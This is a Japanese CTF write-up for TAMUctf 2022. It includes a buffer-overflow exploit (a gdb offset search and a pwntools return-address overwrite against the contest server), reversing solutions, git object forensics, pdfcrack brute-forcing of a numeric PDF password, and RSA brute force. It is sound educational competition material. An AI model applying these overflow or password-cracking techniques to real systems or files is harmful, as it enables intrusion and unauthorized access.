TAMUctf 2022 Writeup

この大会は2022/4/16 3:00(JST)~2022/4/18 3:00(JST)に開催されました。
今回もチームで参戦。結果は800点で476チーム中123位でした。
自分で解けた問題をWriteupとして書いておきます。

Tr*vial (Pwn)

BOFでwin関数をコールすればよい。

$ file trivial
trivial: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=a2e06495e3d045e0ec9080639349fecf3fcefb19, not stripped

$ gdb -q ./trivial
Reading symbols from ./trivial...(no debugging symbols found)...done.
gdb-peda$ pattc 100
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
gdb-peda$ r
Starting program: /mnt/hgfs/Shared/trivial 
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL

Program received signal SIGSEGV, Segmentation fault.

[----------------------------------registers-----------------------------------]
RAX: 0x7fffffffddd0 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
RBX: 0x0 
RCX: 0x7ffff7dcda00 --> 0xfbad2288 
RDX: 0x7ffff7dcf8d0 --> 0x0 
RSI: 0x405261 ("AA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL\n")
RDI: 0x7fffffffddd1 ("AA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
RBP: 0x3541416641414a41 ('AJAAfAA5')
RSP: 0x7fffffffde28 ("AAKAAgAA6AAL")
RIP: 0x401160 (<main+27>:	ret)
R8 : 0x4052c5 --> 0x0 
R9 : 0x7ffff7fd74c0 (0x00007ffff7fd74c0)
R10: 0x405010 --> 0x0 
R11: 0x246 
R12: 0x401050 (<_start>:	xor    ebp,ebp)
R13: 0x7fffffffdf00 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x401159 <main+20>:	call   0x401040 <gets@plt>
   0x40115e <main+25>:	nop
   0x40115f <main+26>:	leave  
=> 0x401160 <main+27>:	ret    
   0x401161:	nop    WORD PTR cs:[rax+rax*1+0x0]
   0x40116b:	nop    DWORD PTR [rax+rax*1+0x0]
   0x401170 <__libc_csu_init>:	push   r15
   0x401172 <__libc_csu_init+2>:	mov    r15,rdx
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffde28 ("AAKAAgAA6AAL")
0008| 0x7fffffffde30 --> 0x4c414136 ('6AAL')
0016| 0x7fffffffde38 --> 0x7fffffffdf08 --> 0x7fffffffe24b ("/mnt/hgfs/Shared/trivial")
0024| 0x7fffffffde40 --> 0x100008000 
0032| 0x7fffffffde48 --> 0x401145 (<main>:	push   rbp)
0040| 0x7fffffffde50 --> 0x0 
0048| 0x7fffffffde58 --> 0xc0b91e5bf8168663 
0056| 0x7fffffffde60 --> 0x401050 (<_start>:	xor    ebp,ebp)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000000000401160 in main ()
gdb-peda$ patto AAKAAgAA6AAL
AAKAAgAA6AAL found at offset: 88
#!/usr/bin/env python3
from pwn import *

p = remote("tamuctf.com", 443, ssl=True, sni="trivial")

elf = ELF("./trivial")
win_addr = elf.symbols["win"]

payload = b"A" * 88
payload += p64(win_addr)

print(payload)
p.sendline(payload)
p.interactive()

実行結果は以下の通り。

[+] Opening connection to tamuctf.com on port 443: Done
[*] '/mnt/hgfs/Shared/trivial'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA2\x11@\x00\x00\x00\x00\x00'
[*] Switching to interactive mode
$ ls
docker_entrypoint.sh
flag.txt
trivial
$ cat flag.txt
gigem{sorry_for_using_the_word_trivial}
gigem{sorry_for_using_the_word_trivial}

Covfefe (Reversing)

Bytecode Viewerで開き、classファイルをデコンパイルする。

public class Covfefe {
   public static void main(String[] var0) {
      byte var1 = 35;
      int[] var2 = new int[var1];

      int var3;
      for(var3 = 0; var3 < var1; ++var3) {
         var2[var3] = 0;
      }

      var2[0] = 103;
      var2[1] = var2[0] + 2;
      var2[2] = var2[0];

      for(var3 = 3; var3 < 8; ++var3) {
         switch(var3) {
         case 3:
            var2[var3] = 101;
            break;
         case 4:
            var2[6] = 99;
            break;
         case 5:
            var2[5] = 123;
            break;
         case 6:
            var2[var3 + 1] = 48;
            break;
         case 7:
            var2[4] = 109;
         }
      }

      var2[8] = 102;
      var2[9] = var2[8];
      var2[24] = var2[25] = var2[28] = var2[7];
      var2[10] = 51;
      var2[11] = var2[10] + 12 - 4 - 4 - 4;
      var2[12] = var2[15] = var2[22] = var2[27] = var2[0] - (int)Math.pow(2.0D, 3.0D);
      var2[13] = 49;
      var2[14] = 115;

      for(var3 = 16; var3 < 22; ++var3) {
         switch(var3) {
         case 16:
            var2[var3 + 1] = 108;
            break;
         case 17:
            var2[var3 - 1] = 52;
            break;
         case 18:
            var2[var3 + 1] = 52;
            break;
         case 19:
            var2[var3 - 1] = 119;
            break;
         case 20:
            var2[var3 + 1] = 115;
            break;
         case 21:
            var2[var3 - 1] = 121;
         }
      }

      var2[23] = 103;
      var2[26] = var2[23] - 3;
      var2[29] = var2[26] + 20;
      var2[30] = var2[29] % 53 + 53;
      var2[31] = var2[0] - 18;
      var2[32] = 80;
      var2[33] = 83;
      var2[var1 - 1] = (int)Math.pow(5.0D, 3.0D);
   }
}

最後にvar2の文字を出力するコードを追加して、コンパイルして実行する。

$ cat Covfefe.java
public class Covfefe {
   public static void main(String[] var0) {
      byte var1 = 35;
      int[] var2 = new int[var1];

      int var3;
      for(var3 = 0; var3 < var1; ++var3) {
         var2[var3] = 0;
      }

      var2[0] = 103;
      var2[1] = var2[0] + 2;
      var2[2] = var2[0];

      for(var3 = 3; var3 < 8; ++var3) {
         switch(var3) {
         case 3:
            var2[var3] = 101;
            break;
         case 4:
            var2[6] = 99;
            break;
         case 5:
            var2[5] = 123;
            break;
         case 6:
            var2[var3 + 1] = 48;
            break;
         case 7:
            var2[4] = 109;
         }
      }

      var2[8] = 102;
      var2[9] = var2[8];
      var2[24] = var2[25] = var2[28] = var2[7];
      var2[10] = 51;
      var2[11] = var2[10] + 12 - 4 - 4 - 4;
      var2[12] = var2[15] = var2[22] = var2[27] = var2[0] - (int)Math.pow(2.0D, 3.0D);
      var2[13] = 49;
      var2[14] = 115;

      for(var3 = 16; var3 < 22; ++var3) {
         switch(var3) {
         case 16:
            var2[var3 + 1] = 108;
            break;
         case 17:
            var2[var3 - 1] = 52;
            break;
         case 18:
            var2[var3 + 1] = 52;
            break;
         case 19:
            var2[var3 - 1] = 119;
            break;
         case 20:
            var2[var3 + 1] = 115;
            break;
         case 21:
            var2[var3 - 1] = 121;
         }
      }

      var2[23] = 103;
      var2[26] = var2[23] - 3;
      var2[29] = var2[26] + 20;
      var2[30] = var2[29] % 53 + 53;
      var2[31] = var2[0] - 18;
      var2[32] = 80;
      var2[33] = 83;
      var2[var1 - 1] = (int)Math.pow(5.0D, 3.0D);
      for(int i = 0; i < 35; i++) {
         System.out.print((char)var2[i]);
      }
      System.out.print((char)10);
   }
}
$ javac Covfefe.java
$ java Covfefe
gigem{c0ff33_1s_4lw4ys_g00d_0xCUPS}
gigem{c0ff33_1s_4lw4ys_g00d_0xCUPS}

REdo 1 (Reversing)

インデックスを調整しながら、比較している。比較している文字を出力する。

#!/usr/bin/env python3
import struct

a = [0x65676967, 0x00000000, 0x34427b6d, 0x5f433153, 0x616c5f43, 0x00000000,
    0x4175476e, 0x525f4567, 0x00000000, 0x78305f45, 0x53414c47, 0x00007d53]

p_flag = b''
for v in a:
    p_flag += struct.pack('<I', v)

flag = b''
for i in range(34):
    idx = i
    if i >= 4 and i <= 15:
        idx += 4
    if i >= 16 and i <= 23:
        idx += 8
    if i > 23:
        idx += 12
    flag += bytes([p_flag[idx]])

print(flag.decode())
gigem{B4S1C_C_lanGuAgE_RE_0xGLASS}

What's the Difference (Forensics)

$ git config --global --add safe.directory /mnt/hgfs/Shared/work/.git
$ cd .git
$ git log --all
commit 0b055455560bce16787d2e2a7b0ae36b3ddd2b35 (HEAD -> master)
Author: TacEx <TacEx@root.dev>
Date:   Fri Apr 8 02:14:25 2022 -0500

    Whoops wrong flag

commit e61bf8b90c60b29a241bd29205eb173ef79cd850
Author: TacEx <TacEx@root.dev>
Date:   Fri Apr 8 02:13:54 2022 -0500

    Add writeup

$ python -c 'import zlib; print zlib.decompress(open("objects/0b/055455560bce16787d2e2a7b0ae36b3ddd2b35").read())'
commit 210tree 600fa8c6371a587cbf791a06cea3a40380047608
parent e61bf8b90c60b29a241bd29205eb173ef79cd850
author TacEx <TacEx@root.dev> 1649402065 -0500
committer TacEx <TacEx@root.dev> 1649402065 -0500

Whoops wrong flag

$ python -c 'import zlib; print zlib.decompress(open("objects/60/0fa8c6371a587cbf791a06cea3a40380047608").read())' | xxd -g 1
00000000: 74 72 65 65 20 33 37 00 31 30 30 36 34 34 20 52  tree 37.100644 R
00000010: 45 41 44 4d 45 2e 6d 64 00 f2 2d 0c b7 42 c3 95  EADME.md..-..B..
00000020: 54 25 a3 ec d2 6a e5 32 b5 08 bf 9a 33 0a        T%...j.2....3.

$ python -c 'import zlib; print zlib.decompress(open("objects/f2/2d0cb742c3955425a3ecd26ae532b508bf9a33").read())'
blob 2169# MetaCTF 2021: I Hate Python (Reverse Engineering)

## Description

I hate Python, and now you will too. Find the password.

```
import random

def do_thing(a, b):
	return ((a << 1) & b) ^ ((a << 1) | b)

x = input("What's the password? ")

if len(x) != 25:
	print("WRONG!!!!!")
else:
	random.seed(997)
	k = [random.randint(0, 256) for _ in range(len(x))]
	a = { b: do_thing(ord(c), d) for (b, c), d in zip(enumerate(x), k) }
	b = list(range(len(x)))
	random.shuffle(b)
	c = [a[i] for i in b[::-1]]
	kn = [47, 123, 113, 232, 118, 98, 183, 183, 77, 64, 218, 223, 232, 82, 16, 72, 68, 191, 54, 116, 38, 151, 174, 234, 127]
	valid = len(list(filter(lambda s: kn[s[0]] == s[1], enumerate(c))))

if valid == len(x):
	print("Password is correct! Flag:", x)
else:
	print("WRONG!!!!!!")
```

Near the end of the script there is a comparison checking if valid is equal to the length of the password. This comparison led me to believe that each correct character in the password will add one to valid. By adding a print statement to check the value of valid and sending the program the password MetaCTFAAAAAAAAAAAAAAAAAA I was able to see that my hunch was correct.

Now I can modify the script to brute force each character in the password to find the right password.

```
import random
from os import system

def do_thing(a, b):
	return ((a << 1) & b) ^ ((a << 1) | b)

def python_sucks(passwd, current_length):
	random.seed(997)
	k = [random.randint(0, 256) for _ in range(len(passwd))]
	a = { b: do_thing(ord(c), d) for (b, c), d in zip(enumerate(passwd), k) }
	b = list(range(len(passwd)))
	random.shuffle(b)
	c = [a[i] for i in b[::-1]]
	kn = [47, 123, 113, 232, 118, 98, 183, 183, 77, 64, 218, 223, 232, 82, 16, 72, 68, 191, 54, 116, 38, 151, 174, 234, 127]
	valid = len(list(filter(lambda s: kn[s[0]] == s[1], enumerate(c))))

	if valid > current_length:
		return True
	else:
		return False


currFlag = ''

for i in range(25):
	for j in range(33, 128):
		nextFlag = currFlag + chr(j) + 'A'*(24-i)
		assert(len(nextFlag) == 25)

		if python_sucks(nextFlag, len(currFlag)):
			currFlag = currFlag + chr(j)
			print(currFlag)
			break
```

Flag: MetaCTF{yOu_w!N_th1$_0n3}

$ python -c 'import zlib; print zlib.decompress(open("objects/e6/1bf8b90c60b29a241bd29205eb173ef79cd850").read())'
commit 156tree d98c1dda21df83c868f6327c344468804a3f0705
author TacEx <TacEx@root.dev> 1649402034 -0500
committer TacEx <TacEx@root.dev> 1649402034 -0500

Add writeup

$ python -c 'import zlib; print zlib.decompress(open("objects/d9/8c1dda21df83c868f6327c344468804a3f0705").read())' | xxd -g 1
00000000: 74 72 65 65 20 33 37 00 31 30 30 36 34 34 20 52  tree 37.100644 R
00000010: 45 41 44 4d 45 2e 6d 64 00 95 fb 13 e6 ba cb cc  EADME.md........
00000020: be 2f 66 17 2f 2f bb 72 56 d6 01 29 0c 0a        ./f.//.rV..)..

$ python -c 'import zlib; print zlib.decompress(open("objects/95/fb13e6bacbccbe2f66172f2fbb7256d601290c").read())'
blob 2179# MetaCTF 2021: I Hate Python (Reverse Engineering)

## Description

I hate Python, and now you will too. Find the password.

```
import random

def do_thing(a, b):
	return ((a << 1) & b) ^ ((a << 1) | b)

x = input("What's the password? ")

if len(x) != 25:
	print("WRONG!!!!!")
else:
	random.seed(997)
	k = [random.randint(0, 256) for _ in range(len(x))]
	a = { b: do_thing(ord(c), d) for (b, c), d in zip(enumerate(x), k) }
	b = list(range(len(x)))
	random.shuffle(b)
	c = [a[i] for i in b[::-1]]
	kn = [47, 123, 113, 232, 118, 98, 183, 183, 77, 64, 218, 223, 232, 82, 16, 72, 68, 191, 54, 116, 38, 151, 174, 234, 127]
	valid = len(list(filter(lambda s: kn[s[0]] == s[1], enumerate(c))))

if valid == len(x):
	print("Password is correct! Flag:", x)
else:
	print("WRONG!!!!!!")
```

Near the end of the script there is a comparison checking if valid is equal to the length of the password. This comparison led me to believe that each correct character in the password will add one to valid. By adding a print statement to check the value of valid and sending the program the password MetaCTFAAAAAAAAAAAAAAAAAA I was able to see that my hunch was correct.

Now I can modify the script to brute force each character in the password to find the right password.

```
import random
from os import system

def do_thing(a, b):
	return ((a << 1) & b) ^ ((a << 1) | b)

def python_sucks(passwd, current_length):
	random.seed(997)
	k = [random.randint(0, 256) for _ in range(len(passwd))]
	a = { b: do_thing(ord(c), d) for (b, c), d in zip(enumerate(passwd), k) }
	b = list(range(len(passwd)))
	random.shuffle(b)
	c = [a[i] for i in b[::-1]]
	kn = [47, 123, 113, 232, 118, 98, 183, 183, 77, 64, 218, 223, 232, 82, 16, 72, 68, 191, 54, 116, 38, 151, 174, 234, 127]
	valid = len(list(filter(lambda s: kn[s[0]] == s[1], enumerate(c))))

	if valid > current_length:
		return True
	else:
		return False


currFlag = ''

for i in range(25):
	for j in range(33, 128):
		nextFlag = currFlag + chr(j) + 'A'*(24-i)
		assert(len(nextFlag) == 25)

		if python_sucks(nextFlag, len(currFlag)):
			currFlag = currFlag + chr(j)
			print(currFlag)
			break
```

Flag: gigem{b3_car3ful_b3for3_y0u_c0mmit}
gigem{b3_car3ful_b3for3_y0u_c0mmit}

Taxes (Forensics)

pdfのパスワードは米国のSocial Security Numberでハイフンはない。数字で000000000~999999999のどれかのパスワードになっているはず。pdfcrackでクラックする。

$ pdfcrack -f 2021-return-enc.pdf --charset="0123456789" -n 9 -m 9

PDF version 1.5
Security Handler: Standard
V: 2
R: 3
P: -4
Length: 128
Encrypted Metadata: True
FileID: b723cc6032e756aa478f5001ec79c0e5
U: 5c89613c1881c3f9e51c407e042355d90122456a91bae5134273a6db134c87c4
O: 9b08f608843a9a833ff15833e443ce5cb230bd0f49b7d6fa0612328f661dc7ba
Average Speed: 55431.1 w/s. Current Word: '026801100'
Average Speed: 55126.2 w/s. Current Word: '541112200'
Average Speed: 58025.7 w/s. Current Word: '956173300'
Average Speed: 56393.2 w/s. Current Word: '225994400'
Average Speed: 58243.8 w/s. Current Word: '893466500'
               :
               :
Average Speed: 25291.3 w/s. Current Word: '181110914'
Average Speed: 24746.7 w/s. Current Word: '411605914'
Average Speed: 25034.5 w/s. Current Word: '508600024'
Average Speed: 24062.3 w/s. Current Word: '150884024'
Average Speed: 24945.3 w/s. Current Word: '759689024'
found user-password: '694705124'

このパスワードを使って、PDFを開くと、フラグが書かれていた。

gigem{hope_you_did_your_taxes_already}

Take a Byte (Crypto)

gigem{}の中が1文字ずつRSA暗号で暗号化されているようなので、ブルートフォースで復号する。

#!/usr/bin/env python3
from Crypto.Util.number import *

with open('data.txt', 'r') as f:
    lines = f.read().splitlines()

N = int(lines[0].split(' ')[-1])
e = int(lines[1].split(' ')[-1])
cs = lines[2].split(' ')

flag = cs[0]
for c in cs[1:-1]:
    for code in range(32, 127):
        if pow(code, e, N) == int(c):
            flag += chr(code)
            break
flag += cs[-1]
print(flag)
gigem{enumerable_SeArCh_SpAcEs_4R3_WEAK_0xBEEF}